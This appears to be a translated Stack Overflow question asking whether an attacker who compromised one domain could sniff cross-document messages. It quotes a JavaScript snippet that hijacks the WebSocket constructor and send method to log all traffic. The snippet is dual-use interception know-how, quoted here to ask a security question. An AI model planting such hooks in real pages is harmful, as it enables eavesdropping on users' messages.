【发布时间】:2013-05-03 14:14:17
【问题描述】:
根据10.4 Cross-document messaging:domainA.com 可以使用跨文档消息传递向 domainB.com 发送消息,以防止在验证来源和数据时进行跨站点脚本攻击。
问题:考虑 domainA.com 被入侵,攻击者注入了一个有效载荷来跟踪 domainA.com 和 domainB.com 之间的消息,这可能吗?
为了更好的理解:可以通过改变原始Web Socket对象来嗅探Web Socket流量,工作示例解释Here,我提取了这部分:
if (captureWebsocket && window.WebSocket) {
// add logging onmessage listener
function captureRecv(ws) {
if (typeof ws.captured == 'undefined') {
ws.addEventListener('message', function(e) {
var event = {
event: 'websocket_recv',
from: location,
data: e.data,
url: e.target.URL
}
log(event);
});
ws.captured = true;
}
}
// capture sending
var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
captureRecv(this); // in case socket contruction was before constructor switching
var event = {
event: 'websocket_send',
from: location,
data: arguments[0],
url: this.URL
};
log(event);
return window.WebSocket.prototype.send.apply(this, arguments);
}
// capture constructor
this.contentWindow.WebSocket = function(a,b) {
var base;
base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
captureRecv(base);
base.send = captureSend;
this.__proto__ = WebSocket.constructor;
return base;
}
}
});
【问题讨论】:
标签: javascript security websocket cross-domain xss